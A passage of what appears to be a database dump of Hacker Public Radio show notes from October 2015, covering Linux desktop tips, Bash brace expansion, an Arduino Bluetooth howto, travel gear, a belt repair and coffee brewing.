on \r\nFreeBSD.</p>\r\n\r\n<p>* Yes, you may hate the term <q>ecosystem</q>. I happen to think it\'s an \r\napt** analogy.</p>\r\n<p>** You see what I did there.</p>\r\n\r\n<h3>Links</h3>\r\n<ul>\r\n<li><a href=\"https://www.linux-m68k.org/faq/saynotowatchtower.html\">https://www.linux-m68k.org/faq/saynotowatchtower.html</a></li>\r\n<li><a href=\"https://microca.st/clacke\">https://microca.st/clacke</a></li>\r\n<li><a href=\"https://quitter.se/clacke\">https://quitter.se/clacke</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1877\">https://hackerpublicradio.org/eps.php?id=1877</a></li>\r\n<li><a\r\nhref=\"https://f-droid.org/repository/browse/?fdfilter=urecord&fdid=cc.co.eurdev.urecorder\">https://f-droid.org/repository/browse/?fdfilter=urecord&amp;fdid=cc.co.eurdev.urecorder</a></li>\r\n<li><a href=\"https://slirp.sourceforge.net/\">https://slirp.sourceforge.net/</a></li>\r\n<li><a href=\"https://www.linux-m68k.org/dists.html\">https://www.linux-m68k.org/dists.html</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/UserLinux\">https://en.wikipedia.org/wiki/UserLinux</a></li>\r\n<li><a href=\"https://lwn.net/Articles/151642/\">https://lwn.net/Articles/151642/</a></li>\r\n<li><a href=\"https://www.turbolinux.com/\">https://www.turbolinux.com/</a></li>\r\n<li><a href=\"https://wayback.archive.org/web/20020201162513/https://www.bestlinux.net/en/\">https://wayback.archive.org/web/20020201162513/https://www.bestlinux.net/en/</a></li>\r\n<li><a href=\"https://www.gnu.org/software/guix/manual/html_node/Introduction.html\">https://www.gnu.org/software/guix/manual/html_node/Introduction.html</a></li>\r\n</ul>\r\n',311,29,0,'CC-BY-SA','Urecord,Slirp,Amiga,turbolinux,guix',0,0,1),
(1878,'2015-10-14','What\'s In My Bag',548,'What\'s in my travel bag for my upcoming client trip','<h3 id=\"whats-in-my-bag-show-notes\">What\'s in My Bag Show Notes</h3>\r\n<p>Here are some links from the highlights of the episode</p>\r\n<ul>\r\n<li>Aegis Apricorn Encrypted USB:<br />\r\n<a href=\"https://www.newegg.com/Product/Product.aspx?Item=N82E16820461005&cm_re=aegis_apricorn-_-20-461-005-_-Product\">https://www.newegg.com/Product/Product.aspx?Item=N82E16820461005&amp;cm_re=aegis_apricorn-_-20-461-005-_-Product</a></li>\r\n<li><code>fallocate -l 3G myimage.img</code>. Then I mount it and created a luks encrypted partition on the img file.</li>\r\n<li>Logitech Ultrathin Mouse: <br />\r\n<a href=\"https://www.newegg.com/Product/Product.aspx?Item=9SIA4A02WA7207&cm_re=logitech_ultrathin_mouse-_-26-104-913-_-Product\">https://www.newegg.com/Product/Product.aspx?Item=9SIA4A02WA7207&amp;cm_re=logitech_ultrathin_mouse-_-26-104-913-_-Product</a></li>\r\n<li>Klipsche earbuds: <br />\r\n<a href=\"https://www.amazon.com/Klipsch-Image-S4--II-Black/dp/B008X9Q0JK/ref=sr_1_9?ie=UTF8&qid=1443056756&sr=8-9\">https://www.amazon.com/Klipsch-Image-S4--II-Black/dp/B008X9Q0JK/ref=sr_1_9?ie=UTF8&amp;qid=1443056756&amp;sr=8-9</a></li>\r\n</ul>\r\n',300,23,0,'CC-BY-SA','Consulting, travel',0,0,1),
(1886,'2015-10-26','Moral Volcano\'s Linux Tips &amp; Tricks podcast for Hacker Public Radio',3884,'A collection of Linux tips and tricks that may be useful new users.','<p>\r\nWelcome to my first podcast for Hacker Public Radio. \r\n</p>\r\n<ol>\r\n<li>Like Gnome 3? Good for you.\r\n</li>\r\n<li>Don\'t like Gnome 3 or like Gnome 2 more? Then, get a Linux distro with the Mate desktop. Mate desktop was forked from Gnome 2. Gnome 2 development was stopped by the Gnome 3 team.</li>\r\n<li>After installing the Mate desktop, install the Nimbus theme and Compiz desktop effects.<br />\r\n   <a href=\"https://www.dropbox.com/s/47579lbgjsqgazz/nimbus-icon-theme_0.1.4-2_all.deb?dl=0\">https://www.dropbox.com/s/47579lbgjsqgazz/nimbus-icon-theme_0.1.4-2_all.deb?dl=0</a><br />\r\n   <a href=\"https://www.dropbox.com/s/ndei6yi4lj2zmid/gtk2-engines-nimbus_0.1.4-2_amd64.deb?dl=0\">https://www.dropbox.com/s/ndei6yi4lj2zmid/gtk2-engines-nimbus_0.1.4-2_amd64.deb?dl=0</a><br />\r\n   I don\'t have the 32-bit edition.\r\n</li>\r\n<li>Have a USB wireless modem? Use wvdial or gnome-ppp with \"stupid mode\" enabled.</li>\r\n<li>Change gnome-terminal color scheme to Green-On-Black and the the following line to your .bashrc for a colorful and usable terminal window.\r\n   <pre>PS1=\"\\a\\n\\n\\e[31;1m\\u@\\h on \\d at \\@\\n\\e[33;1m\\w\\e[0m\\n$ \"</pre>\r\n   <a href=\"https://www.vsubhash.com/article.asp?id=13&info=Ubuntu_and_Gnome_Diary#change_terminal_prompt\">https://www.vsubhash.com/article.asp?id=13&amp;info=Ubuntu_and_Gnome_Diary#change_terminal_prompt</a></li>\r\n<li>Install CMU fonts from<br />\r\n   <a href=\"https://canopus.iacp.dvo.ru/~panov/cm-unicode/\">https://canopus.iacp.dvo.ru/~panov/cm-unicode/</a></li>\r\n<li>Download Google fonts using this bash script\r\n   <pre>wget https://googlefontdirectory.googlecode.com/hg/ofl/ -r -nc -nd -np -A.ttf</pre>\r\n   This command takes a while to parse all the pages and find the fonts that need to be downloaded.<br />\r\n   <a href=\"https://www.youtube.com/watch?v=Cj6zhjW7ZS0\">https://www.youtube.com/watch?v=Cj6zhjW7ZS0</a></li>\r\n<li>Good Artists Copy, Great Artists Steal; Jonathan Schwartz; March 2010<br />\r\n   <a href=\"https://jonathanischwartz.wordpress.com/2010/03/09/good-artists-copy-great-artists-steal/\">https://jonathanischwartz.wordpress.com/2010/03/09/good-artists-copy-great-artists-steal/</a></li>\r\n<li>Undead Myths In The Wake Of iDead Steve Jobs; V. Subhash; November 2011<br />\r\n   <a href=\"https://www.vsubhash.com/article.asp?id=112&info=Undead_Myths_In_The_Wake_Of_iDead_Steve_Jobs\">https://www.vsubhash.com/article.asp?id=112&amp;info=Undead_Myths_In_The_Wake_Of_iDead_Steve_Jobs</a></li>\r\n<li>Support free software<br />\r\n   <a href=\"https://my.fsf.org/donate\">https://my.fsf.org/donate</a><br />\r\n   <a href=\"https://mate-desktop.org/donate/\">https://mate-desktop.org/donate/</a><br />\r\n   <a href=\"https://www.linuxmint.com/donors.php\">https://www.linuxmint.com/donors.php</a>\r\n</li>\r\n<li>Firestarter firewall - I think it needs only a little attention from Linux developers before it can be extremely useful again. Most of it still works.<br />\r\n   <a href=\"https://fs-security.com/\">https://fs-security.com/</a></li>\r\n</ol>\r\n',312,0,0,'CC-BY-SA','desktop,Mate,wvdial,gnome-ppp,fonts,Firestarter firewall ',0,0,1),
(1874,'2015-10-08','Interview with Droops',3239,'To mark the 10 year anniversary of HPR we talk to droops one of the founders of Today with a Techie.','<p>\r\nWe started producing shows as Today with a Techie 10 years ago this weekend. To mark the project we track down <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=1\">droops</a> one of the founders and ask him about the early days.\r\n</p>\r\n<h1>About HPR.</h1>\r\n  <p>Hacker Public Radio (HPR) is an Internet Radio show (podcast) that releases shows every weekday Monday through Friday. HPR has a long lineage going back to <a href=\"https://www.oldskoolphreak.com\" target=\"_blank\">Radio FreeK America</a>, <a href=\"https://www.binrev.com\" target=\"_blank\">Binary Revolution Radio</a> &amp; <a href=\"https://nomicon.info\" target=\"_blank\">Infonomicon</a>, and it is a direct continuation of <a href=\"https://twatech.org/\" target=\"_blank\">Twatech</a> radio. Please listen to StankDawg\'s \"<a href=\"https://hackerpublicradio.org/eps/hpr0001.mp3\" target=\"_blank\">Introduction to HPR</a>\" for more information.</p>\r\n  \r\n  <p>What differentiates HPR from other podcasts is that the shows are produced by the community - fellow listeners like <strong><a href=\"https://hackerpublicradio.org/contact.php\" target=\"_blank\">you</a></strong>. There is no restrictions on how long the show can be, nor on the topic you can cover as long as they <em>\"are of interest to <a href=\"https://en.wikipedia.org/wiki/Hacker_(hobbyist)\" target=\"_blank\">Hackers</a>\"</em>. If you want to see what topics have been covered so far just have a look at our <a href=\"https://hackerpublicradio.org/index_full.php\" target=\"_blank\">Archive</a>. We also allow for a <a href=\"https://hackerpublicradio.org/series.php\" target=\"_blank\">series</a> of shows so that host(s) can go into more detail on a topic.<p>\r\n\r\n  <p>You can download/listen to the show <a href=\"https://hackerpublicradio.org/index_full.php\" target=\"_blank\">here</a> or you can <a href=\"https://hackerpublicradio.org/hpr_rss.php\" target=\"_blank\">subscribe</a> to the show in your favorite podcatching client (like <a href=\"https://lincgeek.org/bashpodder\" target=\"_blank\">BashPodder</a>) to automatically get our new shows as soon as they are available. You can copy and redistribute the shows for free provided you adhere to the <a href=\"https://creativecommons.org/licenses/by-sa/3.0/\" target=\"_blank\">Creative Commons Attribution<wbr>ShareAlike 3.0 License</a>.</p>\r\n  \r\n  <p>We do not filter the shows in any way other than to check if they are audible and not blatant attempts at spam.</p>\r\n  \r\n  <p id=\"you_owe_me_a_show\">\r\n  Hacker Public Radio is dedicated to sharing knowledge. We do not accept donations, but if you listen to HPR, then we would love you to <a href=\"contribute.php\">contribute</a> one show a year.\r\n  </p>\r\n  \r\n  <h2>In the Press.</h2>\r\n  <ul>\r\n  <li>2014-12-09: <a href=\"https://joeyh.name/blog/entry/podcasts_that_dont_suck_2014/\">podcasts that don\'t suck, 2014 edition (Joey Hess)</a>(<a href=\"press/podcasts_that_dont_suck_2014_edition.pdf\">Archived</a>)</li>\r\n  <li>2014-06-30: <a href=\"https://opensource.com/life/14/6/hacker-public-radio\">Free software on Hacker Public Radio</a> by Bryan Behrenshausen (Red Hat)(<a href=\"press/Free_software_on_Hacker_Public_Radio.pdf\">Archived</a>)</li>\r\n  <li>2014-04-19: <a href=\"https://www.efytimes.com/e1/fullnews.asp?edid=136312\">10 Useful Places Hosting Informative Podcasts On Linux</a> (<a href=\"press/10_Useful_Places_Hosting_Informative_Podcasts_On_Linux.pdf\">Archived</a>)\r\n  <li>2014-04-11: <a href=\"https://blog.sleeplessbeastie.eu/2014/04/11/hand-picked-audio-podcasts-for-linux-users/\">Hand-picked audio podcasts for Linux users</a> by Milosz Galazka (<a href=\"press/hand-picked-audio-podcasts-for-linux-users.pdf\">Archive</a>)</li>\r\n  <li>2013-10-11: <a href=\"https://www.linuxlinks.com/article/20130706190339587/LinuxPodcasts-Page1.html\">Illuminating Linux Podcasts</a> by Dan Petersen (<a href=\"press/Illuminating_Linux_Podcasts.pdf\">Archive</a>)</li>\r\n  <li>2012-12-24: <a href=\"https://www.maketecheasier.com/10-great-podcasts-for-linux-open-source-geeks/\">10 Great Podcasts for Linux &amp; Open Source Geeks</a> by Rebecca \"Ruji\" Chapnik (<a href=\"press/10-great-podcasts-for-linux-open-source-geeks.pdf\">Archived</a>)</li>\r\n  <li>2011-08-01: <a href=\"https://www.linuxformat.com/archives?issue=147\">Linux Format: Pick the perfect geek podcast in our roundup</a> by Mayank Sharma in Linux Format Magazine(<a href=\"press/hpr-linux-format.png\">Archive</a>)</li>\r\n  </ul>\r\n\r\n<h3>Links</h3>                                                                                                                                               \r\n<ul>                                                                                                                                                         \r\n<li><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=1\">https://hackerpublicradio.org/correspondents.php?hostid=1</a></li>                     \r\n<li><a href=\"https://www.oldskoolphreak.com\">https://www.oldskoolphreak.com</a></li>                                                                           \r\n<li><a href=\"https://www.binrev.com\">https://www.binrev.com</a></li>                                                                                           \r\n<li><a href=\"https://nomicon.info\">https://nomicon.info</a></li>                                                                                               \r\n<li><a href=\"https://twatech.org/\">https://twatech.org/</a></li>                                                                                               \r\n<li><a href=\"https://hackerpublicradio.org/eps/hpr0001.mp3\">https://hackerpublicradio.org/eps/hpr0001.mp3</a></li>                                             \r\n<li><a href=\"https://hackerpublicradio.org/contact.php\">https://hackerpublicradio.org/contact.php</a></li>                                                     \r\n<li><a href=\"https://en.wikipedia.org/wiki/Hacker_(hobbyist)\">https://en.wikipedia.org/wiki/Hacker_(hobbyist)</a></li>                                         \r\n<li><a href=\"https://hackerpublicradio.org/index_full.php\">https://hackerpublicradio.org/index_full.php</a></li>                                               \r\n<li><a href=\"https://hackerpublicradio.org/series.php\">https://hackerpublicradio.org/series.php</a></li>                                                       \r\n<li><a href=\"https://hackerpublicradio.org/index_full.php\">https://hackerpublicradio.org/index_full.php</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/hpr_rss.php\">https://hackerpublicradio.org/hpr_rss.php</a></li>\r\n<li><a href=\"https://lincgeek.org/bashpodder\">https://lincgeek.org/bashpodder</a></li>\r\n<li><a href=\"https://creativecommons.org/licenses/by-sa/3.0/\">https://creativecommons.org/licenses/by-sa/3.0/</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/contribute.php\">https://hackerpublicradio.org/contribute.php</a></li>\r\n<li><a href=\"https://joeyh.name/blog/entry/podcasts_that_dont_suck_2014/\">https://joeyh.name/blog/entry/podcasts_that_dont_suck_2014/</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/press/podcasts_that_dont_suck_2014_edition.pdf\">https://hackerpublicradio.org/press/podcasts_that_dont_suck_2014_edition.pdf</a></li>\r\n<li><a href=\"https://opensource.com/life/14/6/hacker-public-radio\">https://opensource.com/life/14/6/hacker-public-radio</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/press/Free_software_on_Hacker_Public_Radio.pdf\">https://hackerpublicradio.org/press/Free_software_on_Hacker_Public_Radio.pdf</a></li>\r\n<li><a href=\"https://www.efytimes.com/e1/fullnews.asp?edid=136312\">https://www.efytimes.com/e1/fullnews.asp?edid=136312</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/press/10_Useful_Places_Hosting_Informative_Podcasts_On_Linux.pdf\">https://hackerpublicradio.org/press/10_Useful_Places_Hosting_Informative_Podcasts_On_Linux.pdf</a></li>\r\n<li><a href=\"https://blog.sleeplessbeastie.eu/2014/04/11/hand-picked-audio-podcasts-for-linux-users/\">https://blog.sleeplessbeastie.eu/2014/04/11/hand-picked-audio-podcasts-for-linux-users/</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/press/hand-picked-audio-podcasts-for-linux-users.pdf\">https://hackerpublicradio.org/press/hand-picked-audio-podcasts-for-linux-users.pdf</a></li>\r\n<li><a href=\"https://www.linuxlinks.com/article/20130706190339587/LinuxPodcasts-Page1.html\">https://www.linuxlinks.com/article/20130706190339587/LinuxPodcasts-Page1.html</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/press/Illuminating_Linux_Podcasts.pdf\">https://hackerpublicradio.org/press/Illuminating_Linux_Podcasts.pdf</a></li>\r\n<li><a href=\"https://www.maketecheasier.com/10-great-podcasts-for-linux-open-source-geeks/\">https://www.maketecheasier.com/10-great-podcasts-for-linux-open-source-geeks/</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/press/10-great-podcasts-for-linux-open-source-geeks.pdf\">https://hackerpublicradio.org/press/10-great-podcasts-for-linux-open-source-geeks.pdf</a></li>\r\n<li><a href=\"https://www.linuxformat.com/archives?issue=147\">https://www.linuxformat.com/archives?issue=147</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/press/hpr-linux-format.png\">https://hackerpublicradio.org/press/hpr-linux-format.png</a></li>\r\n</ul>\r\n',30,78,1,'CC-BY-SA','TWaTech, RFA, Radio FreeK America, BinRev, Binary Revolution Radio, Infonomicon',0,0,1),
(1879,'2015-10-15','Hacking a Belt to Make it Fit',906,'I record a show while hacking a belt to make it fit.','<p>In this episode I talk while I\'m performing a belt hack. I bought a belt at Goodwill that is in excellent condition but does not fit me. To make it fit I need to cut off 6.25 inches and then put it back together.</p>\r\n<p>This is the belt as I got it. Notice the very small screws holding the buckle to the belt.</p>\r\n<p><img src=\"https://hackerpublicradio.org/eps/hpr1879/01_belt.jpeg\" alt=\"The Buckle\" /></p>\r\n<p>The screws are out, the belt removed from the buckle. You can see here the two holes that accommodate the screws as well as the rectangular notch.</p>\r\n<p><img src=\"https://hackerpublicradio.org/eps/hpr1879/02_belt.jpeg\" alt=\"Buckle detached from belt\" /></p>\r\n<p>I\'ve cut off 6.25&quot; from the belt, ready to make the holes and notch in the remaining part.</p>\r\n<p><img src=\"https://hackerpublicradio.org/eps/hpr1879/03_belt.jpeg\" alt=\"6.25&quot; cut off\" /></p>\r\n<p>Here I\'ve clamped the part of the belt that I cut off to the remaining part to use as a template for making the holes and the notch.</p>\r\n<p><img src=\"https://hackerpublicradio.org/eps/hpr1879/04_belt.jpeg\" alt=\"Hole-and-notch template clamped to the belt\" /></p>\r\n<p>Holes and notch cut in the remaining part of the belt. Doesn\'t look as nice as the original but it should work.</p>\r\n<p><img src=\"https://hackerpublicradio.org/eps/hpr1879/05_belt.jpeg\" alt=\"Holes and notch are cut\" /></p>\r\n<p>All done. Belt is reassembled and I\'m wearing it, fits just right!</p>\r\n<p><img src=\"https://hackerpublicradio.org/eps/hpr1879/06_belt.jpeg\" alt=\"Perfect fit\" /></p>\r\n\r\n',238,0,0,'CC-BY-SA','DIY, belts, dressing spiffily',0,0,1),
(1880,'2015-10-16','Arduino Bluetooth HOWTO',2494,'Klaatu talks about getting a bluetooth module for an arduino, and how to make it work','<p>\r\nKlaatu talks about the HC-05 and -06 series of bluetooth modules and how to use them with an Arduino, including some basic code on the Arduino to get it to respond to signals over bluetooth, and some basic PyQt code on how to send signals to the bluetooth device. PLUS, he talks about configuring the bluetooth so that it is connected to the serial port of your system (so that Python can use it).\r\n</p>\r\n<p>\r\nA super basic bluetooth controller app can be found here:\r\n<a href=\"https://gitlab.com/makerbox/rovcon\">https://gitlab.com/makerbox/rovcon</a> \r\n(it\'s Klaatu\'s code, and it\'s not quite finished, so if you have improvements or questions, feel free to comment or merge or email)\r\n</p>',78,91,0,'CC-BY-SA','arduino,python,qt',0,0,1),
(1882,'2015-10-20','How I Compute Away From My Computer',1666,'Thaj explains his setup for computing outside of the house, without his laptop.','<p>Here is a list of the stuff I bought, as well as the apps I list in the episode:</p>\r\n<ul>\r\n<li><p>NVIDIA SHIELD Tablet (WiFi) - <a href=\"https://www.amazon.com/NVIDIA-940-81761-2505-000-SHIELD-Tablet-WiFi/dp/B00LM6KF7O/ref=sr_1_1?ie=UTF8&amp;qid=1444100607&amp;sr=8-1&amp;keywords=nvidia+shield+tablet\" class=\"uri\">https://www.amazon.com/NVIDIA-940-81761-2505-000-SHIELD-Tablet-WiFi/dp/B00LM6KF7O/ref=sr_1_1?ie=UTF8&amp;qid=1444100607&amp;sr=8-1&amp;keywords=nvidia+shield+tablet</a></p></li>\r\n<li><p>Fintie NVIDIA SHIELD Tablet SmartShell Case - <a href=\"https://www.amazon.com/Fintie-NVIDIA-SHIELD-Tablet-SmartShell/dp/B00MN98ATE/ref=sr_1_1?ie=UTF8&amp;qid=1444100658&amp;sr=8-1&amp;keywords=fintie+nvidia+shield+cover\" class=\"uri\">https://www.amazon.com/Fintie-NVIDIA-SHIELD-Tablet-SmartShell/dp/B00MN98ATE/ref=sr_1_1?ie=UTF8&amp;qid=1444100658&amp;sr=8-1&amp;keywords=fintie+nvidia+shield+cover</a></p></li>\r\n<li><p>Tonor® Rechargeable Bluetooth Wireless Mouse - <a href=\"https://www.amazon.com/gp/product/B00XN20U5W?psc=1&amp;redirect=true&amp;ref_=oh_aui_detailpage_o00_s00\" class=\"uri\">https://www.amazon.com/gp/product/B00XN20U5W?psc=1&amp;redirect=true&amp;ref_=oh_aui_detailpage_o00_s00</a></p></li>\r\n<li><p>iKross Bluetooth 3.0 Wireless Folding Compact Size Keyboard - <a href=\"https://www.amazon.com/iKross-Bluetooth-Wireless-Keyboard-Smartphone/dp/B00JJ39YPG/ref=sr_1_1?ie=UTF8&amp;qid=1444100697&amp;sr=8-1&amp;keywords=ikross+bluetooth+keyboard\" class=\"uri\">https://www.amazon.com/iKross-Bluetooth-Wireless-Keyboard-Smartphone/dp/B00JJ39YPG/ref=sr_1_1?ie=UTF8&amp;qid=1444100697&amp;sr=8-1&amp;keywords=ikross+bluetooth+keyboard</a></p></li>\r\n<li><p>Anker PowerPort 5 - <a href=\"https://www.amazon.com/Anker-PowerPort-Charging-Multi-Port-Charger/dp/B00VH8ZW02/ref=sr_1_1?ie=UTF8&amp;qid=1444100730&amp;sr=8-1&amp;keywords=anker+powerport+5\" class=\"uri\">https://www.amazon.com/Anker-PowerPort-Charging-Multi-Port-Charger/dp/B00VH8ZW02/ref=sr_1_1?ie=UTF8&amp;qid=1444100730&amp;sr=8-1&amp;keywords=anker+powerport+5</a></p></li>\r\n</ul>\r\n<h3 id=\"freeopen-source-android-apps\">Free/Open Source Android Apps:</h3>\r\n<ul>\r\n<li>AntennaPod</li>\r\n<li>Atomic</li>\r\n<li>ChatSecure</li>\r\n<li>Connectbot (honorable mention to Irissi Connectbot)</li>\r\n<li>FB Reader</li>\r\n<li>F-Droid</li>\r\n<li>HN</li>\r\n<li>NewPipe</li>\r\n<li>K9 Mail</li>\r\n<li>Orbot</li>\r\n<li>Orweb</li>\r\n<li>Owncloud</li>\r\n<li>OwnNote</li>\r\n<li>Pixel Dungeon</li>\r\n<li>Plumble</li>\r\n<li>RedReader</li>\r\n<li>Termux</li>\r\n<li>Twidere</li>\r\n<li>VLC</li>\r\n</ul>\r\n<h3 id=\"not-so-freeopen-source-android-apps\">Not so Free/Open Source Android Apps:</h3>\r\n<ul>\r\n<li>LastPass</li>\r\n<li>ezPDF Reader</li>\r\n<li>News+</li>\r\n</ul>\r\n<h3 id=\"links\">Links</h3>\r\n<ul>\r\n<li><a href=\"https://www.amazon.com/NVIDIA-940-81761-2505-000-SHIELD-Tablet-WiFi/dp/B00LM6KF7O/ref=sr_1_1?ie=UTF8&amp;qid=1444100607&amp;sr=8-1&amp;keywords=nvidia+shield+tablet\" class=\"uri\">https://www.amazon.com/NVIDIA-940-81761-2505-000-SHIELD-Tablet-WiFi/dp/B00LM6KF7O/ref=sr_1_1?ie=UTF8&amp;qid=1444100607&amp;sr=8-1&amp;keywords=nvidia+shield+tablet</a></li>\r\n<li><a href=\"https://www.amazon.com/Fintie-NVIDIA-SHIELD-Tablet-SmartShell/dp/B00MN98ATE/ref=sr_1_1?ie=UTF8&amp;qid=1444100658&amp;sr=8-1&amp;keywords=fintie+nvidia+shield+cover\" class=\"uri\">https://www.amazon.com/Fintie-NVIDIA-SHIELD-Tablet-SmartShell/dp/B00MN98ATE/ref=sr_1_1?ie=UTF8&amp;qid=1444100658&amp;sr=8-1&amp;keywords=fintie+nvidia+shield+cover</a></li>\r\n<li><a href=\"https://www.amazon.com/gp/product/B00XN20U5W?psc=1&amp;redirect=true&amp;ref_=oh_aui_detailpage_o00_s00\" class=\"uri\">https://www.amazon.com/gp/product/B00XN20U5W?psc=1&amp;redirect=true&amp;ref_=oh_aui_detailpage_o00_s00</a></li>\r\n<li><a href=\"https://www.amazon.com/iKross-Bluetooth-Wireless-Keyboard-Smartphone/dp/B00JJ39YPG/ref=sr_1_1?ie=UTF8&amp;qid=1444100697&amp;sr=8-1&amp;keywords=ikross+bluetooth+keyboard\" class=\"uri\">https://www.amazon.com/iKross-Bluetooth-Wireless-Keyboard-Smartphone/dp/B00JJ39YPG/ref=sr_1_1?ie=UTF8&amp;qid=1444100697&amp;sr=8-1&amp;keywords=ikross+bluetooth+keyboard</a></li>\r\n<li><a href=\"https://www.amazon.com/Anker-PowerPort-Charging-Multi-Port-Charger/dp/B00VH8ZW02/ref=sr_1_1?ie=UTF8&amp;qid=1444100730&amp;sr=8-1&amp;keywords=anker+powerport+5\" class=\"uri\">https://www.amazon.com/Anker-PowerPort-Charging-Multi-Port-Charger/dp/B00VH8ZW02/ref=sr_1_1?ie=UTF8&amp;qid=1444100730&amp;sr=8-1&amp;keywords=anker+powerport+5</a></li>\r\n</ul>\r\n',270,0,0,'CC-BY-SA','android, tablet, on the go, portable, apps, free software, open source software',0,0,1),
(1883,'2015-10-21','Don\'t Get Locked In',1080,'Knightwise discusses how he uses tools from several major software platforms to get his work done','<p>\r\nIn this episode Knightwise talks about the cross-platform tools he uses for\r\nhis day job as a freelance IT consultant. All three of the major OS platforms\r\n(Linux, OS X and Windows) have their strengths, so by leveraging systems from\r\nacross all ecosystems Knightwise can use what he feels is the best tool for\r\nany individual task.\r\n</p>\r\n<p>\r\nUse the tool that\'s right for you without letting the fanboys or the zealots get in your way.\r\n</p>\r\n',111,0,0,'CC-BY-SA','cross-platform tools ',0,0,1),
(1884,'2015-10-22','Some more Bash tips',949,'Some information about brace expansion in Bash that you might not know','<h1 id=\"some-more-bash-tips\">Some more Bash tips</h1>\r\n<p>We looked at <em>Parameter Expansion</em> back in HPR episode <a href=\"https://hackerpublicradio.org/eps.php?id=1648\" title=\"Bash parameter manipulation\">1648</a> where we saw how Bash variables could be used, checked and edited. There are other sorts of expansions within Bash, and we\'ll look at one called &quot;<em>Brace Expansion</em>&quot; in this episode, which follows on from episode <a href=\"https://hackerpublicradio.org/eps.php?id=1843\" title=\"Some Bash tips\">1843</a> &quot;<em>Some Bash tips</em>&quot;.</p>\r\n<p>I have written out a moderately long set of notes about this subject and these are available here <a href=\"https://hackerpublicradio.org/eps/hpr1884_full_shownotes.html\" class=\"uri\">https://hackerpublicradio.org/eps/hpr1884_full_shownotes.html</a>.</p>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li>HPR episode 1648 &quot;<em>Bash parameter manipulation</em>&quot;: <a href=\"https://hackerpublicradio.org/eps.php?id=1648\" class=\"uri\">https://hackerpublicradio.org/eps.php?id=1648</a></li>\r\n<li>HPR episode 1843 &quot;<em>Some Bash tips</em>&quot;: <a href=\"https://hackerpublicradio.org/eps.php?id=1843\" class=\"uri\">https://hackerpublicradio.org/eps.php?id=1843</a></li>\r\n</ul>\r\n',225,42,1,'CC-BY-SA','Bash,brace expansion,seq',0,0,1),
(1887,'2015-10-27','Coffee Making Basics',642,'Reply to HPR Episode 1871 &amp; Coffee Making','<p>Hi. This is &quot;JustMe&quot;. I\'ve been in &amp; out of computing since the late 70s. I\'m currently running the latest version of Linux Mint LMDE Mate on this Intel Core2 Q8300 CPU running @ 2.50GHz, on an ASRock motherboard with 8G of memory. Storage is provided by a 120Gb Samsung 850 EVO SSD for the OS and a Western Digital WD20 2T HD as home &amp; swap. Video is provided by nVidia. My monitor is an LG E2441 wide screen. I built this box a few years ago and haven\'t seen a need to modernize it beyond upgrading the OS because it suits my purposes well. Although I\'m seriously contemplating switch my desk top to XFCE because Mate is still too buggy.</p>\r\n<p>\'nught about me. Let\'s get on to the subject at hand.</p>\r\n<p>I just finished listening to the HPR Community News for September 2015 episode 1871 a couple of days ago. I listened to the two volunteer hosts talking about coffee, coffee preparation and how hard it was to get water to the correct temperature for that optimal cup of coffee. I\'d like to ask the two of them a couple of questions before I continue elucidating on this topic.</p>\r\n<p>The first question is, can you blind taste test the difference between Nescaf&eacute; Instant and a cup of, let\'s say, Starbucks brewed coffee? (a blind taste test is where someone prepares cups of coffee without you knowing which cup has which coffee.) Also notice, I didn\'t say cappuccino or latte. I said, good ol\' fashioned brewed coffee, drunk black.</p>\r\n<p>Don\'t be ashamed if you can\'t because many people don\'t have the taste buds for it. But if you can\'t, I\'d say forget making your own and stay with the crappy, Nescaf&eacute; instant. You\'ll save yourself a lot of time, money.</p>\r\n<p>On the other hand, if you can taste the difference, and you live in the San Francisco area of California, then I\'d like to ask another question. Can you taste the difference between Starbucks and Pete\'s Brewed coffee?</p>\r\n<p>If you can, then I propose one more question. Can you taste the difference between a cup of coffee made with Columbian beans and one made with Brazilian beans or Ethiopian beans or Costa Rica Beans?</p>\r\n<p>If you can answer yes to all of these questions, then I\'d say you should take the time to learn how to make a proper cup of coffee. You will be rewarded a thousand times over with each cup.</p>\r\n<p>Now, providing you have answered all in the affirmative or you\'re just interested in listening to the rest of this podcast, let\'s digress no further and proceed to the heart of the matter.</p>\r\n<p>Making a cup of good coffee, just like making a bottle of good wine or a good omelet, takes understanding of the basics and practice in preparation.</p>\r\n<p>The basics of coffee making are simple: Freshly roasted whole beans, a good grinder &amp; proper grind for the type of coffee preparation method, water, water temperature, and brew time.</p>\r\n<p>I\'m not going to go into a step-by-step dissertation on each brewing method. Suffice it to say, you can take the time for that later. I\'ll only discuss the essentials here.</p>\r\n<p>Let me dally a moment longer. Do you drink wine or beer? When you do or if you do, do you add ice to it? Do you want watered down beer or wine? NO!!! Then why in the hell would you add milk or sugar to your coffee?????? \'nough said on that subject.</p>\r\n<p>Let\'s proceed:</p>\r\n<ol type=\"1\">\r\n<li><p>By freshly roasted whole beans, I mean just that. Whole beans that have been roasted in the past couple of days. NOT two, three, four, five or more months ago. Beans lose their flavor, go stale, with time. Just like day-old bread. Ground beans lose their flavor even faster, so use only whole beans and grind them as you need them just before brewing. In addition, to maintain their freshness, keep whole beans in an air-tight bag or container, out of direct sunlight and in a cool, dry place (NOT refrigerated). Beans hate time, temperature, sunlight, and air.</p>\r\n<p>Another side note here. How much ground coffee per cup? General rule of thumb - 10 grams of ground coffee per 6 ounces of water. The average American cup/mug holds 8-14 ounces of water. So adjust the amount of ground coffee accordingly - experiment. Keep all the other factors the same and only vary the quantity of ground coffee until you get that &quot;just right&quot; cup. But, of course, if you like Nescaf&eacute; instant, you\'ll like stale coffee beans and add extra just for fun.</p></li>\r\n<li><p>Grinder. A good grinder is imperative. The greatest cost is going to be the grinder. Not all grinders are equal, nor do they grind beans equally well. So don\'t be afraid to spend good money for a good grinder. Look for a conical or burr grinder. No damn blade grinders. Blade grinders are for spices and grinding dog food. And I don\'t mean Kitchen Aid or Sunbeam or Cuisinart or Mr. Coffee or 